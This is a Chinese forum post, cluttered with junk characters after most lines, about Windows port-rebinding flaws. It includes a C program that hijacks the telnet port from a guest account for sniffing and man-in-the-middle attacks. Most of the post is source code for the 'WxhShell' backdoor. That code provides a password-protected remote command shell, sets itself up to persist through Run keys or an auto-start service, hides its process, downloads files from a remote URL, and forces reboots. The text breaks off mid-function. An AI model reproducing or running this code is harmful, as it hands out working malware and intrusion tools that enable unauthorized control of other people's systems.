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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m&cvU>lC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %^!aB  
>[P%Ty);  
  saddr.sin_family = AF_INET; >{F!ntEj  
os_WYQ4>j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dyl 0]Z  
O+vcs4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); OQc{ V  
C9pnU,[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N(BiOLZL6  
j%5a+(H,z;  
  这意味着什么?意味着可以进行如下的攻击: 6Pijvx^0  
to51hjV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u GIr&`S  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +,wWhhvlzv  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <S{7Ro  
e?1KbJ?.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m0C{SBn-M  
+9_,w bF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '$*[SauAG  
V" }*"P-%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6lZGcRO  
}Az'Zu4 =  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  z \^  
gi 5XP]z  
  #include Iy.mVtcsZ  
  #include ^Rk^XQCh  
  #include %HVD^. V  
  #include    22'vm~2E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   & L'6KEahR  
  int main() 6Wb!J>93  
  { _[%n ~6  
  WORD wVersionRequested; j"0rkN3$J  
  DWORD ret; ?cJA^W  
  WSADATA wsaData; F~'sT}A*  
  BOOL val; l{QC}{Ejc2  
  SOCKADDR_IN saddr; !^-OfqIHfV  
  SOCKADDR_IN scaddr; ]f5c\\)  
  int err; Z:TFOnJ  
  SOCKET s; S[ ^nSF  
  SOCKET sc; gtMw3D`FL  
  int caddsize; 4`6< {  
  HANDLE mt; =G*z 5 3  
  DWORD tid;   :i}@Br+R7L  
  wVersionRequested = MAKEWORD( 2, 2 ); aC}p^Nkr"k  
  err = WSAStartup( wVersionRequested, &wsaData ); s"N\82z)  
  if ( err != 0 ) { -`g J  
  printf("error!WSAStartup failed!\n"); 2;h+;G  
  return -1; 1Df, a#,y"  
  } jVs(x  
  saddr.sin_family = AF_INET; X]MTaD.t  
   _^-D _y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 df yrn%^Ia  
#XfT1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3jS7 uU  
  saddr.sin_port = htons(23); }9 ?y'6l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K9^"NS3  
  { xjE7DCmA  
  printf("error!socket failed!\n"); [)0 R'xL6  
  return -1; .}`V I`z*  
  } h*l cEzG?A  
  val = TRUE; VH[l\I(h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ys/vI/e\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =CEHRny  
  { JC/d:.  
  printf("error!setsockopt failed!\n"); i!tc  
  return -1; A^t"MYX@  
  } sc9]sIb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $8=(I2&TW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 my]P_mE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hj+p`e S  
:Fc8S9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wzg i @i  
  { !@A|L#*  
  ret=GetLastError(); ps "9;4P  
  printf("error!bind failed!\n"); _E&U?>g+  
  return -1; y&h~Oa?,;  
  } !%X>rGkc  
  listen(s,2); #U:0/4P(  
  while(1) b13nE .  
  { KjC[q  
  caddsize = sizeof(scaddr); ["<5?!bU  
  //接受连接请求 3eJ\aVI>pE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); waBRQh  
  if(sc!=INVALID_SOCKET) @\+%GDv  
  { M`(;>Kp7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {rz>^  
  if(mt==NULL) sFCf\y  
  { 'r6cVBb}  
  printf("Thread Creat Failed!\n"); 6R L~iD;X  
  break; b#e]1Q  
  } @PKAz&0  
  } 4_WH 6Z  
  CloseHandle(mt); uht(3  
  } $vz_%Y  
  closesocket(s); QP'qG@j[:  
  WSACleanup(); 9OH.&g  
  return 0; >}mNi:6xq  
  }   dWMccn;-m  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3F;EE:  
  { *u58l(&`8  
  SOCKET ss = (SOCKET)lpParam; `Y0fst<,  
  SOCKET sc; xNn>+J  
  unsigned char buf[4096]; /\nJ  
  SOCKADDR_IN saddr; ~ 0av3G  
  long num; BF>T*Z-Ki  
  DWORD val; g~eJ YS,  
  DWORD ret; %s]U@Ku(a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r}Ltv?4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nMLU-C!t  
  saddr.sin_family = AF_INET; Hi$#!OU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `Yg7,{A\J  
  saddr.sin_port = htons(23); gfV]^v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )8 oEs  
  { RzMA\r;#  
  printf("error!socket failed!\n"); X #&(~1O  
  return -1; y|$vtD%c  
  } 1<;\6sg  
  val = 100; e og\pMv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U<K|jsFo  
  { *Rz!i m|  
  ret = GetLastError(); BDWim`DK"  
  return -1; pHigxeV2  
  } hkkF1 h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \dC.%#  
  { ,"x23=]  
  ret = GetLastError(); Pv^(Q ]  
  return -1; L00Sp#$\  
  } Q S5dP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P)a("XnJ`  
  { fLLnf].O  
  printf("error!socket connect failed!\n"); E {I)LdAqK  
  closesocket(sc); pM1=U F  
  closesocket(ss); od;Bb  
  return -1; h<+PP]l=  
  } -7&^jP\,  
  while(1) lO%MyP  
  { s@/B*r9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vd2uD2%con  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q@PJ)fwN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &8pCHGmV)  
  num = recv(ss,buf,4096,0); (7M^-_q]D  
  if(num>0) 0*/mc96  
  send(sc,buf,num,0); BERn _5gb  
  else if(num==0) <\B],M1=s=  
  break; XYz,NpK  
  num = recv(sc,buf,4096,0); :;|)/  
  if(num>0) 6 Xzk;p  
  send(ss,buf,num,0); d;;>4}XJ]  
  else if(num==0) Y{+zg9L*  
  break; 7qCJ]%)b6  
  } n$XMsl.>  
  closesocket(ss); 1EKcD^U,  
  closesocket(sc); yg]suU<z]  
  return 0 ; 53g8T+`\(  
  } 0sq=5 BnO  
|!?2OTY  
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========================================================== U>e3_td3,  
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下边附上一个代码,,WXhSHELL 0"wbcAh)  
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========================================================== [lDt0l5^  
M=" WUe_  
#include "stdafx.h" L8,H9T#e  
U08<V:~  
#include <stdio.h> jhjW* F<u  
#include <string.h> ]# tGT0   
#include <windows.h> clPZd  
#include <winsock2.h> YR^Ee8_H  
#include <winsvc.h> l%-67(  
#include <urlmon.h> ^.pE`l%1}  
[ZL r:2+z  
#pragma comment (lib, "Ws2_32.lib") B|Rpm^ |  
#pragma comment (lib, "urlmon.lib") &0;{lS[N:L  
P#vv+]/  
#define MAX_USER   100 // 最大客户端连接数 3B!&ow<rt  
#define BUF_SOCK   200 // sock buffer a'*5PaXU@/  
#define KEY_BUFF   255 // 输入 buffer l<0[ K(  
ECmHy@(  
#define REBOOT     0   // 重启 $71D)*{P  
#define SHUTDOWN   1   // 关机 bc0)'a\  
4)x3!Ol  
#define DEF_PORT   5000 // 监听端口 DK#65H'  
HJ2]Nz:   
#define REG_LEN     16   // 注册表键长度 'O\d<F.c$2  
#define SVC_LEN     80   // NT服务名长度 H{Y5YTg]  
mVc'%cPaw  
// 从dll定义API {2'74  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); } kh/mq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +O.&64(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S*2L4Uj`|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9TbS>o  
:F KYYH\  
// wxhshell配置信息 dw{#||  
struct WSCFG { SoXX}<~E4  
  int ws_port;         // 监听端口 n)1  
  char ws_passstr[REG_LEN]; // 口令 <{-(\>f!9  
  int ws_autoins;       // 安装标记, 1=yes 0=no cpr{b8Xb8&  
  char ws_regname[REG_LEN]; // 注册表键名 Cn6n4, 0  
  char ws_svcname[REG_LEN]; // 服务名 rw=UK`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q>(I*=7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1?e>x91  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~u~[E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Oo3qiw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _.Z&<.lJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <'o'H  
web8QzLLB  
}; 1 o  
OI]K_ m3  
// default Wxhshell configuration LS2ek*FJO  
struct WSCFG wscfg={DEF_PORT, 61s2bt#  
    "xuhuanlingzhe", ZH`K%h0  
    1, ~Uwr68 9N  
    "Wxhshell", rlUdAa3  
    "Wxhshell", Up!ZCZ$RC  
            "WxhShell Service", <x>k3bD  
    "Wrsky Windows CmdShell Service", 5m%baf2_  
    "Please Input Your Password: ", alb+R$s  
  1, Yt O@n@1  
  "http://www.wrsky.com/wxhshell.exe", u75)>^:I   
  "Wxhshell.exe" {'=Nb 5F  
    }; pdcwq~4~%  
O0=,&=i  
// 消息定义模块 z6L>!=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jr#g>7yM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I 1VEm?CQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?-.Ep0/  
char *msg_ws_ext="\n\rExit."; TYJnQ2m  
char *msg_ws_end="\n\rQuit."; K,L>  
char *msg_ws_boot="\n\rReboot..."; !e#I4,fn  
char *msg_ws_poff="\n\rShutdown..."; o?Tp=Ge  
char *msg_ws_down="\n\rSave to "; e8P!/x-y  
_/z)&0DO  
char *msg_ws_err="\n\rErr!"; _]?Dt%MkD  
char *msg_ws_ok="\n\rOK!"; G\,A> mT/P  
uz#eO|z@o  
char ExeFile[MAX_PATH]; #BT6bH08X  
int nUser = 0; Fy(nu-W  
HANDLE handles[MAX_USER]; die2<'\4%  
int OsIsNt;  K+`-[v5\  
5>4A}hSe  
SERVICE_STATUS       serviceStatus; 3 q.[-.q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2XecP'+m  
<p L;-  
// 函数声明 jt10gVC  
int Install(void); _'v }=:X  
int Uninstall(void); VATXsD  
int DownloadFile(char *sURL, SOCKET wsh); abJ@>7V  
int Boot(int flag); 3qxG?G N  
void HideProc(void); "e7$q&R |  
int GetOsVer(void); F)<G]i8n~  
int Wxhshell(SOCKET wsl); h2/1S{/n]  
void TalkWithClient(void *cs); (-Ct!aW|  
int CmdShell(SOCKET sock); L9unhx  
int StartFromService(void); K+\0}qn  
int StartWxhshell(LPSTR lpCmdLine); Y=WN4w  
qY~$wVY(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hO<w]jV,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M;vlQ"Yl'  
(HV~ '5D  
// 数据结构和表定义 ,TfI  
SERVICE_TABLE_ENTRY DispatchTable[] = {,-5k.P[  
{ < jocfTBk  
{wscfg.ws_svcname, NTServiceMain}, .^`a6>EQ)|  
{NULL, NULL} +'&_V011<  
}; I}G}+0geV  
`6S=KRv  
// 自我安装 ,C'w(af@}  
int Install(void) >s 8:1l  
{ j2{,1hj  
  char svExeFile[MAX_PATH]; l]kl V+9t  
  HKEY key; I ;11j  
  strcpy(svExeFile,ExeFile); D-+)M8bt  
O"s`-OM;n  
// 如果是win9x系统,修改注册表设为自启动 ^* /v,+01f  
if(!OsIsNt) { ZNH*[[Pf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GT\s!D;<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NV:XPw/  
  RegCloseKey(key);  eS@!\H x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '*LN)E> d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7s fuju(  
  RegCloseKey(key); 9bcyPN  
  return 0; cmGj0YUQ1  
    } ga1gd~a  
  } M?4r5R  
} DneSzqO"o  
else { bmq XP  
k4AE`[UE  
// 如果是NT以上系统,安装为系统服务 [TfV2j* e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8.3_Wb(c  
if (schSCManager!=0) : $52Ds!i  
{ k\thEEVP0*  
  SC_HANDLE schService = CreateService 8$jT#\_  
  ( g$-D?~(Z  
  schSCManager, =*>4Gh i  
  wscfg.ws_svcname, }vxH)U6$q  
  wscfg.ws_svcdisp, (h>X:!  
  SERVICE_ALL_ACCESS, ~ :b:_ 5"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gc8PA_bFz  
  SERVICE_AUTO_START, r dG2| Tp  
  SERVICE_ERROR_NORMAL, 1q233QSW)  
  svExeFile, =&*QT&e  
  NULL, ~G ^}2#5  
  NULL, QB|fFj58u  
  NULL, d_7Xlp@  
  NULL, gjN!_^ _  
  NULL .]ZuG  
  ); lbuW*)  
  if (schService!=0) =UKR<@QrK  
  { m<'xlF  
  CloseServiceHandle(schService); Md?bAMnG+}  
  CloseServiceHandle(schSCManager); .8PO7#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 't%%hw-m}  
  strcat(svExeFile,wscfg.ws_svcname); %d#)({N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $J0~2TV<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gx*0$4xJ3  
  RegCloseKey(key); >0+|0ba  
  return 0; v7OV;e a$  
    } cxJK>%84  
  } .s*EV!SE  
  CloseServiceHandle(schSCManager); ?kFCYZK|"  
} K,,@',  
} ,JBw$ C  
 T[[  
return 1; /,@v"mE7c!  
} tfKeo|DM"  
z&vms   
// 自我卸载 Qu>zO!x  
int Uninstall(void) y=qo-v59'  
{ n]fbV/ x  
  HKEY key; ]GR q  
&@iF!D\u  
if(!OsIsNt) { @SG="L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  t-x"(  
  RegDeleteValue(key,wscfg.ws_regname); Oi[9b  
  RegCloseKey(key); irw 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )?IA`7X  
  RegDeleteValue(key,wscfg.ws_regname); )~mc1 U`b  
  RegCloseKey(key); q.b4m 'J  
  return 0; CU`Oc>;*T  
  } u,,WD  
} Hi" n GH  
} Z#t)Z "  
else { 6F&]Mk]V8  
|QTqa~~B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8EEQV}4  
if (schSCManager!=0) ~_j%nJ &2  
{ 59Q Q_#>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zUtf&Ih  
  if (schService!=0) o3=S<|V  
  { t\bxd`,  
  if(DeleteService(schService)!=0) { m;+1;B  
  CloseServiceHandle(schService); 9}0Jc(B/x  
  CloseServiceHandle(schSCManager); "/Q(UV<d  
  return 0; mS&\m#s<  
  } yxUVM`.~  
  CloseServiceHandle(schService); q[+: t   
  } &trh\\I"  
  CloseServiceHandle(schSCManager); E1ob+h:`d  
} _ N f[HP  
} ;xtb2c8HT  
-xgmc-LGo  
return 1; h:;eh  
} kCjI`=7$[  
Hg_ XD,  
// 从指定url下载文件 gH// TbS  
int DownloadFile(char *sURL, SOCKET wsh) )hJjVitG  
{ =LY^3TlDj  
  HRESULT hr; p}|wO&4h  
char seps[]= "/"; vfTG*jG  
char *token; la|l9N^,  
char *file; =}GyI_br;8  
char myURL[MAX_PATH]; H1qw1[%0y  
char myFILE[MAX_PATH]; I5OH=,y`  
Dlf=N$BL7d  
strcpy(myURL,sURL); 5 ^J8<s@_  
  token=strtok(myURL,seps); ZV4' |q  
  while(token!=NULL) 2OlC7X{  
  { (C|V-}/*m  
    file=token; "<$vU_  
  token=strtok(NULL,seps); t}+c/ C%b=  
  } !,!tNs1 K  
M &EJFpc*  
GetCurrentDirectory(MAX_PATH,myFILE); HF[%/Tu  
strcat(myFILE, "\\"); "57G@NC{n  
strcat(myFILE, file); n >PM_W  
  send(wsh,myFILE,strlen(myFILE),0); A?k,}~  
send(wsh,"...",3,0); 'wlP`7&Tn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7.rZ%1N  
  if(hr==S_OK) J3S+| x h~  
return 0; ayz1i:Q|  
else |/\1nWD  
return 1; $v@$oPmMj  
=V]i?31[  
} QGG(I7{-  
3CuoB b8  
// 系统电源模块 @wJa33QT  
int Boot(int flag) #|h8u`  
{ pdqa)>$  
  HANDLE hToken; _H<OfAO  
  TOKEN_PRIVILEGES tkp; J$*["y`+  
`2,_"9Z(  
  if(OsIsNt) { J,KTc'[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -mo ' $1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vUx$[/<  
    tkp.PrivilegeCount = 1; yzb&   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WREGRy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (`/i1#nR  
if(flag==REBOOT) { ,,wx197XeD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c;}n=7,>:L  
  return 0; `|?$; )  
} @7 HBXP  
else { ! -nm7Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :Zo2@8@7  
  return 0; 5MU@g*gj,C  
} @$} \S  
  } r9*H-V$  
  else { l<_mag/j9o  
if(flag==REBOOT) { '6J$X-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k r^#B^  
  return 0; n8aiGnd=v  
} "dOY_@kg  
else { S9+gVR8]C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dq 4}VkY  
  return 0; DI[^H  
} ~M1%,]  
} 2]f.mq_PD  
2+cicBD  
return 1; * xXc$T  
} vz5 RS  
m|FONQ,@D  
// win9x进程隐藏模块 LOkDx2@g  
void HideProc(void) S9055`v5  
{ )X$n'E  
=DwH*U /YR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o;C)!  
  if ( hKernel != NULL ) "z4E|s  
  { yE{UV>ry  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4zbV' ]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RVy87_J1  
    FreeLibrary(hKernel); >&Lu0oHH  
  } iPNs EQ0We  
gipRVd*TA  
return; baGI(Dk  
} k-0e#"B  
uRhH_c-6C  
// 获取操作系统版本 NH6!|T  
int GetOsVer(void) czi!q1<vg  
{ <)rH8]V  
  OSVERSIONINFO winfo; ?IO/zkeXg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3_-m>J**  
  GetVersionEx(&winfo); W7> _nK+g?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  :Xr3 3  
  return 1; 74wa  
  else D)6||z}  
  return 0; (XWs4R.mkb  
} (I g *iJ%2  
1&nrZG9  
// 客户端句柄模块 T5G+^XDA  
int Wxhshell(SOCKET wsl) m':m`,c!  
{ -8e tH&  
  SOCKET wsh; ueo3i1  
  struct sockaddr_in client; "+Rm4_  
  DWORD myID; 9j9?;3;  
&_gmQ;%t:  
  while(nUser<MAX_USER) l%/,Ef*3  
{ $"1&!  
  int nSize=sizeof(client); Ut@)<N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `?m(Z6'  
  if(wsh==INVALID_SOCKET) return 1; ` XY[ HK  
6Z:|"AwC2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M!@[lJ  
if(handles[nUser]==0) >.>5%  
  closesocket(wsh); "<b84?V5  
else [-a /]  
  nUser++; l).Ijl}AH;  
  } B`Pi\1H6%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B)*%d7=x  
Zwl?*t\D  
  return 0; Os+ =}  
} yB[ LO( i  
AP@d2{"m}  
// 关闭 socket #}?$mxME*  
void CloseIt(SOCKET wsh) |V]E8Qt  
{ f}3bYF  
closesocket(wsh); (avaTUMOqy  
nUser--; GrIdQi^8  
ExitThread(0); FA,CBn5%  
} " WL  
),|bP`V  
// 客户端请求句柄 IC~D?c0H:  
void TalkWithClient(void *cs) #k, kpL<a  
{ 6, ~aV  
VtFh1FDI\  
  SOCKET wsh=(SOCKET)cs; cMAfW3j: ;  
  char pwd[SVC_LEN]; &2^V<(19  
  char cmd[KEY_BUFF]; Sj+#yct-  
char chr[1]; TA5M4r6  
int i,j; lN" rhZ  
I}x*AM 7+  
  while (nUser < MAX_USER) { B$j,:^  
}o.ZCACYg  
if(wscfg.ws_passstr) { c:5BQr '  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]T`qPIf;yJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z O^ +KE"  
  //ZeroMemory(pwd,KEY_BUFF); /8R1$7  
      i=0; E u   
  while(i<SVC_LEN) { (reD  
u:|5jF  
  // 设置超时 yE>DQ *  
  fd_set FdRead; G#>X~qk()  
  struct timeval TimeOut; hBw~l?G  
  FD_ZERO(&FdRead); kPe9G  
  FD_SET(wsh,&FdRead); wAYc)u#  
  TimeOut.tv_sec=8; hJ :+*46  
  TimeOut.tv_usec=0; m? hX=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ap!<8N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !)]3 @$#  
DJ.Ct4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AF}HS8eYy  
  pwd=chr[0]; HN! l-z  
  if(chr[0]==0xd || chr[0]==0xa) { ~ln,Cm} 4  
  pwd=0; ebchHnOd  
  break; ]]4E)j8  
  } &ReIe>L  
  i++; %;S5_K,  
    } gg9W7%t/  
}sZ]SE  
  // 如果是非法用户,关闭 socket -XBNtM_ "  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l=yO]a\QZ  
} ADDpm-]  
-rfO"D>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2},}R'aR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s_N!6$tS   
0=iJT4IEJ  
while(1) {  W~4|Z=f  
KpL82  
  ZeroMemory(cmd,KEY_BUFF); KqQrxi?f-  
^B/{  
      // 自动支持客户端 telnet标准   rRW&29A  
  j=0; &wfM:a/c  
  while(j<KEY_BUFF) { |V& k1{V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .:0nK bW  
  cmd[j]=chr[0]; Z3d&I]Tf  
  if(chr[0]==0xa || chr[0]==0xd) { f]4gDmn^  
  cmd[j]=0;  E=E  
  break; /T@lHxX  
  } d=pq+  
  j++; sC j3h  
    } T&%>/7I>  
-T>`PJpJuL  
  // 下载文件 Z.<B>MD8^  
  if(strstr(cmd,"http://")) { MX34qJ9k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H>B:jJf  
  if(DownloadFile(cmd,wsh)) Xo,BuK&G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -mXEbsm  
  else %`~8j H@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1JM~Ls%Z  
  } C`ok{SNtUy  
  else { %<klz)!t  
9Y(<W_{/  
    switch(cmd[0]) { lk}x;4]Z  
  CH2o[&  
  // 帮助 A-<qr6q  
  case '?': { R~b$7jpd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :V [vE h  
    break; X qh+  
  } [|3 %~s|Sv  
  // 安装 v1: 5 r  
  case 'i': { I;7VX5X  
    if(Install()) 1+]e?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B:l(`G  
    else @"6BvGU2s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z')'8155  
    break; pq@ad\8  
    } 7 9Iz,_  
  // 卸载 6^ ~& sA  
  case 'r': { Z7(hW,60  
    if(Uninstall()) g+f{I'j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wL*z+>5  
    else .{6TX"M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kys?%Y1  
    break; :%Bo)0a9  
    } xKxWtZ0  
  // 显示 wxhshell 所在路径 u5lj+?  
  case 'p': { 4CDmq[AVS[  
    char svExeFile[MAX_PATH]; Qr/?tMALc  
    strcpy(svExeFile,"\n\r"); `VHm,g2  
      strcat(svExeFile,ExeFile); dsh}-'>  
        send(wsh,svExeFile,strlen(svExeFile),0); DQ,QyV  
    break; Y$N|p{Z  
    } 9:P)@UF  
  // 重启 C'{Z?M>  
  case 'b': { D%Wr/6X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &Z9b&P  
    if(Boot(REBOOT)) iVFn t!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E*kS{2NAq  
    else { re<"%D  
    closesocket(wsh); 9Y7 tI3  
    ExitThread(0); -V9Cx_]y  
    } ).-FuL4Y  
    break; fx*Swv%r  
    } Z*JZ Ubo-Q  
  // 关机 C?z C|0  
  case 'd': { 5ewQjwW0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nkpQM$FW  
    if(Boot(SHUTDOWN)) Dgdh3q;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k|w6&k3  
    else { j@9A!5<CCk  
